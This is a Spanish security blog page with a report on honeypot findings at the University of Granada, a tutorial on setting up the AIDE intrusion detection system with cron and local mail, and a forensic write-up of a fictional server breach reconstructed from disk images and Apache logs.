Como parte del proyecto final de carrera monte dos honeypot, uno es el prototipo, la máquina de desarrollo de los honeypot en producción, el otro es una versión sobre Raspberry Pi para poder trabajar en casa en la línea de lo que  ido haciendo de cara a mi trabajo final de master. Los podéis descargar de aquí para ponerlos como hosts DMZ si queréis echar un vistazo a que se “cuece” ahí fuera.

  • instrucciones.txt 2 KB
https://mega.co.nz/#!3YYCyAxC!E-x2NCYwwC4ilNrYV-Vok1VaTJg-T6aiDRscJxo8-hg
  • zetsu.zip 2.82 GB
https://mega.co.nz/#!2NYkXCjK!M-t0Lk86frn811FScBHwRQcV4uglj47PuK9N10RwnWU
  • zetsuPi.zip 1.84 GB
https://mega.co.nz/#!PcoFwILZ!NY0vkEACYBzYNKdPhRwQ_XWiC2oXfM09-pW4BumHYxY Distribución de trampasBien se acabaron las presentaciones, vamos a describir el escenario y ver lo que se nos presentó al otro lado del cable. Este es el esquema conceptual del sistema de detección que nutre el  Gestor de la Seguridad de la Información y Eventos, S.I.E.M para los amigos.

“Abre los ojos”

En cuanto se activaron los honeypot comenzaron notificar de numerosos incidentes de distinta naturaleza, y lo más divertido, tanto de origen interno como externo, teníamos al enemigo paseando por casa y con los medios empleados hasta el momento estaba pasando bastante desapercibido. Aquí va una muestra, vinculada a solo una subred de las que compone la Universidad de Granada. Recuerdo que estos resultados son susceptibles de ser extrapolados al del resto de subredes e incluso al de otras universidades andaluzas pues están en el marco de la red R.I.C.A, la cual tiene asignado el rango de direccionamiento 150.214.x.y/16.

Estas son algunas de las conclusiones que podemos extraer:

  • El mayor origen de amenazas, como cabría esperar, viene del exterior. Quiero hacer énfasis en que estos datos son en el transcurso de dos años, si viéramos  los datos por intervalos de meses veríamos que al principio había menos diferencia pero conforme los honeypots fueron haciendo su trabajo el porcentaje de incidentes de origen interno  quedo reducido a los niveles que se muestra.
  • Dependiendo del tipo y origen de la amenaza varía su influencia sobre la red. Por un lado las principales de origen externo son la búsqueda de credenciales ssh, en cambio internamente lo que destaca son incidentes de propagación de malware. Y ojo estamos hablando cuantización de amenazas, no de cualificación, las repercusión de una amenaza cuantitativamente inferior puede ser gravísima.
  • De lo anterior seguramente quien este familiarizado con seguridad ya habrá sacado algunas ideas implícitas más. El peligro interno más destacado eran los propios usuarios que conectaban con Windows sin actualizar y sin cortafuegos. El peligro externo es sin lugar a dudas la búsqueda de equipos con credenciales débiles con objetivo de robar información, zombificarlo o pivotar a los vecinos del equipo que había comprometido, ahora que queda más claro de dónde vienen los incidentes ssh internos que han ocurrido y por supuesto porque tienen tanta repercusión pese al escaso número.

En el siguiente artículo entrare más en profundidad en la descripción del origen de las amenazas, las intencionalidades más o menos evidentes que podemos encontrar detrás de ellas y qué medidas más inmediatas de contingencia.

Artículo cortesía de Juan Luis Martin Acal.

19 nov 2013

AIDE: Sistema de detección de intrusos

AIDE es un sistema de detección de intrusos basado en host, HIDS. Pero, ¿qué es eso? Pues es una herramienta que no nos va a permitir evitar una intrusión, pero sí nos puede informar de que ésta se ha producido y qué archivos fueron modificados.
Una de las cosas más probables que haga un intruso sea intentar modificar ciertos binarios del sistema para que no nos demos cuenta de que está ahí.
Esta herramienta lo que hace es crear una base de datos con los archivos que especifiquemos en su archivo de configuración, con los atributos correspondientes, como usario, grupo, permisos, atime, ctime, i-nodo, etc. Esta información se guarda aplicando una o varias funciones hash.
De esta forma, aunque se intente cubrir huellas, la suma de verificación obtenida de la función hash, nos permitirá conocer qué archivos han sido alterados.
Para poder conseguir esto, hay que tener en cuenta que, lo más conveniente, es hacer la primera base de datos con el sistema recién instalado. Además de esto, es interesante hacer también copias de seguridad de la base de datos y almacenarlas fuera del equipo en cuestión. Esto es por una razón sencilla: La base de datos se encuentra en el sistema de archivos y, si el intruso puede modificar los binarios del sistema, podría modificarla.
Aún así, es interesante que lo tengamos corriendo en nuestros servers, y complementemos con otras herramientas de detección de rootkits:
chkrootkit y rkhunter: Estas herramientas nos permiten detectar rootkits en el sistema, además de realizar un informe de posibles vulnerabilidades, como, por ejemplo, binarios con SUID activado.
AIDE se encuentra disponible en la mayor parte de distribuciones. Pasemos a ver cómo instalarlo en Arch Linux:
# pacman -S aide
Una vez instalado, podemos revisar el /etc/aide.conf. La configuración que viene por defecto está muy bien, aunque es conveniente revisar por si tenemos que hacer alguna adaptación a nuestro sistema, por ejemplo, que utilicemos el /usr/local/bin para las aplicaciones que instalemos desde las fuentes.
Una vez instalado, vamos a crear la base de datos:
aide -i
Después de crear la base de datos, podremos actualizarla con:
aide -u
Para la utilización de AIDE, se suele programar la ejecución periódica del mismo con script para CRON. De esta forma, establecemos la periocidad con la que se actualizará la base de datos y podremos recibir notificaciones. Un script de ejemplo, que podemos encontrar en la Wiki de Arch Linux es:

#!/bin/bash -e# these should be the same as what's defined in /etc/aide.confdatabase=/var/lib/aide/aide.db.gzdatabase_out=/var/lib/aide/aide.db.new.gzif [ ! -f "$database" ]; then echo "$database not found" >&2 exit 1fiaide -u || truemv $database $database.backmv $database_out $database

En este script, en el caso de que tengamos CRON configurado para que las salidas se envíen por email, nos avisará al actualizar si hay algo extraño.
Aunque no es necesario disponer de un servidor de correo eléctronico, sí que debemos tener la posibilidad de envío, aunque sea local. Con instalar EXIM, tendremos esta funcionalidad, sin necesidad de desplegar un servicio de correo. Otra opción es utilizar msmtp para que nos envíe los emails mediante una cuenta de correo externa, por ejemplo, con gmail. Algunas distribuciones instalan EXIM por defecto para poder disponer de mensajería local. En Arch Linux esto no es así, por lo que deberemos instalarlo:
pacman -S exim
En el caso de servidores, dispondrán seguramente de un servidor de correo, en el caso de otros equipos, no. Es importante que nos aseguremos de disponer de esta funcionalidad, al igual que, aunque nuestro equipo sea doméstico, es interesante utilizar este tipo de herramientas para detectar posibles intrusiones.
Una vez instalado, editamos el archivo /etc/mail/exim y comentamos la línea donde se prohíbe el envío de correos al usuario root:
# never_users = root
Editamos el archivo /etc/mail/aliases y definimos un alias para el usuario root. Para ello, nos dirigimos al final del archivo, y especificamos el alias:
# Person who should get root's mailroot: mary
Con esto será suficiente para disponer de mensajería local en el equipo.
Nos aseguramos de que cronie está instalado y que el servicio se está ejecutando:
pacman -S croniesystemctl enable croniesystemctl restart cronie
Para establecer una periocidad diaria, por ejemplo, creamos el archivo /etc/cron.daily/aide.sh, con el contenido del script anterior y le damos permisos de ejecución:
chmod u+x /etc/cron.daily/aide.sh
Debemos asegurarnos que la base de datos tiene el nombre correcto, porque este script no la crea, tan solo actualiza los datos y, si no existe la base de datos original, generará un error. Debemos generarla primero, que lo hará con el nombre /var/lib/aide/aide.db.new.gz. Hay que cambiar el nombre a /var/lib/aide/aide.db.gz:
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
En Debian y derivadas, la configuración requiere menos pasos, pues ya está creado un script para CRON y, por defecto, suelen instalar EXIM para disponer de mensajería local. Para instalarlo, bastará ejecutar:
sudo apt-get install aide
En esta distribución, los archivos de configuración que contienen las reglas con las que se generará la base de datos, se encuentran en /etc/aide/aide.conf.d/ y /etc/aide/aide.conf. En el archivo /etc/default/aide, establecemos opciones de configuración por defecto, como es a quién van dirigido el correo que genera, si queremos que la base de datos nueva sobreescriba la antigua, etc.
Una vez instalado, debemos inicializar la base de datos:
sudo aideinit
Con esto, ya disponemos de nuestro sistema de detección de intrusos, pero disponemos de otras alternativas:
Tripwire: Es muy similar a AIDE, incluso en la sintaxis del archivo de configuración.
Samhain: Ofrece características simalers y algunas funciones para la detección de rootkits. Puede ser desplegado en una red y guardar los logs en un servidor central.
Artículo cortesía de: María José Montes Diaz
@MMontesDiaz

18 nov 2013

#FPR9 – Solución al Reto Hacking: Catástrofe aérea

Buenas a todos, la pasada semana publicamos el 9º reto de Flu Project, al que titulamos "Catástrofe Aérea". En este reto os encontrábais ante "un trozo" del disco duro de un servidor clonado mediante "dd". En ese disco duro se encontraba instalado un servidor web Apache que servía una aplicación web de la empresa JKNM Technologies y desde la que sus empleados descargaban documentos confidenciales de los aviones que fabricaba previa autenticación con un usuario y contraseña válidos. Hasta aquí ninguna novedad, pero a lo largo de este artículo descubriremos como un problema de código, una simple línea, ha sido la culpable de la muerte de varias personas. Muchos me diréis, ¡es que le echáis mucha imaginación, eso en la realidad no pasa! Por suerte, este reto es ficticio, pero os aseguro y es algo que la gente que leeis éste y otros blogs del gremio ya sabéis, los problemas de seguridad que sufren robots y autómatas en empesas de fabricación, sistemas scada en infraestructuras críticas, software de control aéreo, incluso servidores vulnerados como en el caso del presente reto, pueden costar vidas. Son largas las conversaciones que mantuve con mi buen amigo y antiguo profesor Javier Garzás, sobre la Calidad del Software que se fabrica en las Factorías de Software y de todas ellas acabábamos sacando las mismas conclusiones, programar mal software sale caro, y cuando hablamos de vidas humanas, no hay forma monetaria de valorarlo.

Tras la chapa de inicio, pongámonos manos a la obra con el reto.

Normalmente en un análisis forense os entregarán una copia física del disco duro a analizar, siempre que no os toque directamente realizarla vosotros mismos. Nosotros ya os proporcionamos directamente el clonado del disco duro, y además, os limpiamos todos los archivos que no eran de interés en el pericial, facilitando la resolución del reto.

Ahora deberíamos comprobar los hashes del disco duro para verificar que no nos han dado gato por liebre. Para ello podríamos utilizar por ejemplo las utilidades "md5sum" y "sha1sum":

Cómo ya hemos explicado en la cadena Herramientas Forense para ser un buen CSI, una vez que tenéis un disco duro clonado mediante dd podéis abrirlo con alguna utilidad como FTK Imager o Autopsy, para esta ocasión nosotros nos decantamos por este segundo, por su posibilidad de parsear y recopilar los archivos localizados en función de su tipología.

Nada mas abrir el disco duro vemos que se trata de un sistema de ficheros NTFS. Lo primero que llama la atención es que Autopsy localiza casi 300 cuentas de correo electrónico. Más adelante veremos de donde salen estas cuentas, pero ya os adelantamos que provienen de un archivo añadido para despistar:

Además de las cuentas de correo electrónico nos localiza varias imágenes y un archivo eliminado que luego analizaremos.

Un tema importante cuando analizamos un disco duro es que nos fijemos en los metadatos con las fechas de creación y modificación de los archivos. Por ejemplo, en la siguiente captura podéis ver cuando diseñamos el reto, aunque no aportaba valor para su resolución, es un dato importante a tener en cuenta en una pericial:

Si abrimos la sección imágenes de Autopsy podremos enumerar las imagenes localizadas en el disco duro, como vemos todas se encuentran en la carpeta servida por el servidor Apache hacia Internet o hacia la Intranet, luego lo descubriremos:

Bien, una vez que hemos visualizado la información en función de su formato, vamos a abrir las carpetas del disco duro en busca de posibles logs que puedan darnos más información sobre lo que pasó el día fatídico:

Como vemos existen cinco logs con información sobre los accesos, errores PHP, bbdd mysql, etc.

Por otro lado nos encontramos con la carpeta www, desde la que un Apache está sirviendo una aplicación web y en la cual se encuentra el archivo "zip" que identificamos anteriormente que había sido eliminado:

Una vez recopilada toda la información, vamos a analizarla archivo por archivo. Como vemos, existen archivos con tamaño 0, por lo que directamente los descartaremos.

Otro log existente y que tampoco nos aportará ningún valor en esta investigación será el mysql.log, ya que la aplicación web publicada no hace uso de BBDD:

Otro log que encontraréis y que tampoco nos aportará mucho valor (aunque sí algo) es el apache_error.log:

El archivo access.log ya es otro cantar, ya que en él se registran los accesos a la aplicación:

Cómo su tamaño es bastante grande, analizarlo desde Autopsy es incómodo, por lo que lo extraremos a nuestro equipo:

Nada más abrirlo veremos como el día 23 de Octubre un usuario desde la IP 134.0.11.133 realizó un ataque de tipo "fuzzing", intentando localizar páginas web que colgasen del dominio de JKNM Technologies a través de un diccionario que contenía palabras tan curiosas como "Goku", "Vegeta", etc. Esta IP (pública) era inventada y parece ser que está localizada por algún lugar céntrico de Madrid :). Además nos indica que la aplicación se estaba sirviendo a Internet)

Si alguno sois usuario de nuestra herramienta ANUBIS, os habréis dado cuenta que la muestra del log se corresponde con el diccionario que viene incluido en Anubis para integrar los ataques de fuzzing con la aplicación "wfuzz".

En la línea 58, se puede ver como finaliza dicho ataque, sin éxito (todas las peticiones GET son respondidas con un error 404 NOT FOUND):

Inmediatamente después, el mismo usuario carga varias veces la página de autenticación, por lo que podemos suponer que está intentando autenticarse en el sistema y está fallando, y la aplicación le está redireccionando automáticamente a la página de login (podremos contrastar nuestra hipótesis más adelante analizando el código fuente de la aplicación web). Es posible que el usuario esté intentando realizar algún tipo de inyección de código, pero como veremos más adelante en la aplicación, se realiza por POST, y con los medios que contaban nuestros amigos de JKNM, no era posible registrar dicha información.

En la línea 104 del log vemos como el usuario malicioso logra autenticarse, y acceder a "menuPrincipal.php":

Y más adelante, casi al final del log, vemos como el usuario descarga un archivo ZIP del servidor:

Tras analizar los logs iremos a la carpeta www. Aquí nos encontraremos, entre otros, con el archivo "planes.txt", que aunque por el nombre algo confuso por el doble significado de la palabra en inglés y español, solo contenía una colección de dibujos ascii de aviones con licencia GPL que podéis descargar gratuitamente desde Internet. En ese documento se encuentran los nombres y correos electrónicos de las personas que realizaron los diseños de los aviones, y por ello Autopsy recopilaba tantos emails del disco duro:

A continuación abriremos el código fuente de la aplicación, en busca de algún bug que pueda padecer el aplicativo y por el que el usuario malicioso ha logrado acceder al sistema. Como vemos, uno de los primeros fallos importantes que vemos es que todos los usuarios de la empresa compartían el usuario administrador, por tanto, de haber sido un empleado el ladrón de los datos, no sabriamos identificar quien es:

Pero en este caso el fallo no se encontraba en el usuario, sino en una vulnerabilidad de inyección "XPath" y que ya analizamos en un reto hacking pasado. Gracias a ello, el usuario malvado "pudo acceder" a "menuPrincipal.php" aunque no podemos descartar que conociese previamente el usuario y la contraseña, al no haber registro de las inyecciones de código:

Como vemos en la captura anterior, este PHP nos mostraba un link para descargar un "zip". Que si lo buscamos en el disco duro vemos que ha sido eliminado, por lo que es posible que más adelante alguien desde dentro de la organización haya accedido para eliminarlo, bien con intenciones de borrar rastros o bien para impedir que ese archivo sea descargado por otros usuarios ampliando las posibilidades de que vuelvan a caer en malas manos. Estas conclusiones se intentarían responder en un caso real solicitando las cámaras de acceso al CPD, logs capturados por herramientas SIEM desplegadas por la red, logs de los firewall, etc.

Desde el propio autopsy podremos ver como dentro del zip hay un fichero llamado "programa.txt". Vamos a extraer el archivo al equipo para abrirlo:

Una vez abierto, aparte de una "interesante charla entre colegas" vemos que uno de los usuarios le indica a otro de la organización que no ha podido subir los planos al servidor corporativo por algún tipo de problema, y se los ha dejado en otro servidor (algo más público):

Si descargábamos el PDF podíamos ver los planos (catalogados como "Difusión Limitada") del modelo del avión siniestrado, mostrando un punto débil en la zona en la que los supervivientes del accidente oyeron la explosión. Visto esto, imagino que a la mayoría se nos pasa por la cabeza la posibilidad de un atentado terrorista, aunque esto será investigado por los peritos encargados de analizar los restos del avión. Y seguro, que los más frikis han identificado que el problema de seguridad mostrado en el plano, es el mismo que padeció la Estrella de la Muerte en la película de Star Wars :-)

El PDF con los datos confidenciales se encontraba en un servidor independiente del que nosotros hemos investigado, por lo que en una investigación "normal" deberíamos ampliar el alcance y solicitar a quien corresponda el disco duro de dicho servidor para analizar sus logs, y comprobar si el usuario malicioso descargó realmente el PDF con los planos (aunque las hipótesis apunten a que sí) o simplemente sabía donde estaba pero no se atrevió a descargarlo.

Una vez finalizada la investigación llega la hora de realizar nuestro informe pericial y en el que básicamente copiaremos todos los datos que os acabamos de mostrar, dandole un toque más profesional y menos paródico.

Cuando realizo un informe pericial me gusta basarme en estándares internacionales o nacionales, primero, porque contienen la experiencia y buenas prácticas adquiridas durante años por expertos en el sector, y segundo, porque nos permite indicar al juez/cliente/abogado, etc. que nos basamos en un modelo y/o metodología que ha sido definida y contrastada por una entidad de confianza, como por ejempo las normas ISO o UNE. Una de esas normativas es la UNE 197001_2011_Criterios Generales para la elaboración de informes y dictámenes periciales. Otra normativa interesante es la UNE 71506:2013 y que en su ANEXO A nos muestra un interesante “Modelo de informe pericial”. Por razones de derechos de autor no os puedo facilitar dicho Anexo, pero si que puedo enumerar los apartados más importantes que vuestro informe debería contener:

  1. Asunto
  2. Evidencias/muestras recibidas
  3. Resolución o estudios efectuados sobre las evidencias/muestras
  4. Situación final de las evidencias/muestras
  5. Conclusiones finales
  6. Anexos del informe

En lo referente al fichero de cadena de custodia que os pedíamos, deberíais haber redactado algo parecido al siguiente:

Y eso es todo por hoy, como veis era un reto muy sencillo, y la dificultad radicaba en ver la línea temporal de acciones realizadas sobre el servidor y en documentar adecuadamente toda la investigación.

Nos vemos en el próximo post,

Saludos!